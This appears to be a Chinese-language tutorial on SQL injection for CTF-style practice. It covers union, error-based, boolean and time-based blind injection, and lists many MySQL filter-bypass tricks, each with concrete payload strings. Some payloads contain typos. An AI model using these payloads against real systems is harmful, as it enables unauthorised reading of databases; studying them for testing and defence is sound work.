共计 2445 个字符,预计需要花费 7 分钟才能阅读完成。
SQL 注入是什么
简单来说 SQL 注入,就是将攻击者输入的恶意代码被传到后端与 SQL 语句一起构造并在数据库中执行
通过不同的手段,SQL 注入可以分为一下几类

select * from article where artid = 1 and xxxxx;
首先我们来看一下一个最基础的 SQL 注入例子
这是一段正常的 SQL 查询语句,如果我们输入 1,那么就会查询 id 为 1 的文章
如果此时我们输入了 1 加一个单引号,那么此时的查询语句就是这样的
由于单引号没有闭合,从而导致 SQL 查询出错。
而基于不同的过滤,MYSQL 版本或者是其他东西等,SQL 注入就分为了很多种方法,
这里我们举了最常见的几种 SQL 注入方法。
1. 联合注入
也是我们最简单最基础的一种注入方法,基本上 SQL 注入都是从联合注入开始学的
通过 union 语句,我们可以同时查询多组数据
例如最简单的查询数据库名:
1' union select 1,database()#
有时候只会回显一组数据,那么我们就可以改为
-1' union select 1,database()#
2. 报错注入
就是通过报错回显的信息从而达成查看信息的目的
1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
常见被利用的有旁边我列出来的几种函数
3. 布尔盲注
适用于没有数据回显的情况下
通过不同的回显进行判断是否成功
如这里我们查询数据库名的长度:
1' and length(database())=4#
4. 时间盲注
和布尔盲注类似,只不过利用了 sleep()函数,通过响应时间来判断
其他的注入方式我就简单说说,因为目前我也没见到过很多这种题
例如更新注入就是利用 update 语句进行注入
堆叠注入和命令拼接类似,都是用分号同时执行多条语句
二次注入就是利用了后端对数据库的信任,对数据库取出来的数据不进行处理从而导致注入问题
还有宽字节注入等,利用了编码的错误实现绕过
常见绕过方式
注释符
'#', '--+', '-- -', '%23', '%00', '/**/'
“and、or” 过滤
# 可以使用 "&&" 和 "||" 代替?id=1 && 1=1 --+ # 盲注,异或运算相同为 0,不同为 1;根据返回值 0,1 判断?id=1 union select (substr(database(),1,1)='s') ^ 0 --
关键词过滤
- 大小写绕过
id=-1' UnIoN SeLeCT xxx - 双写绕过适用于将关键词置空的场景
id=-1'UNIunionONSeLselectECT1,2,3–- - 编码绕过可以使用 URL,hex,ASCII 等编码绕过例如 ’or 1=1
27%20%4F%52%201%3D%31%20%2D%2D - 注释绕过内联注释 /**/ 将关键词分隔开
id=1' UN/**/ION SE/**/LECT database() --
空格过滤
- 内联注释代替空格
id=1/**/and/**/1=1 - 括号嵌套
select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database()); - 制表符、换行、不可见空格 %09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)
- 反引号
union(select`table_name`,`table_type`from`information_schema`.`tables`);
比较符号 “=、<、>” 过滤
- in()
ascii(substr(select database(),1,1)) in(115); // 根据回显判断 - likelike 代替 ’=’
- 正则表达式
select database() regexp '^s'; // 根据回显判断
逗号过滤
逗号被过滤时可以使用 from…for…
select substr(select database() from 1 for 1);select substr(select database() from 2 for 1);
limit 中的逗号可以替换成offset
select * from users limit 1 offset 2;
需要注意,limit 1,2 指的是从第一行往后取 2 行(包括第一行和第二行);而 limit 1 offset 2 是从第一行开始只取第二行
False 注入
select * from users where username = 0; # 查询表中所有数据
其实是利用了 mysql 的隐式类型转换,当字符串与数字比较时,会 将字符串转换为浮点数 ,转换失败并 返回 0 ,0 = 0 返回 True,就会返回表中所有数据
绕过引号构造 0 的方法
select * from users where username = ''+'';select * from users where username = ''-'';select * from users where username = ''*'';select * from users where username = ''%1#';select * from users where username = ''/6#';
等价函数
- if()=> case…when..then…else…end
0'or if((ascii(substr((select database()),1,1))>97),1,0)#=0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#
- sleep() => benchmark()
benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断
- concat_ws() => group_concat()
select group_concat(database());=select concat_ws(1,database());
- substr() => substring() / lpad() / rpad() / left() / mid()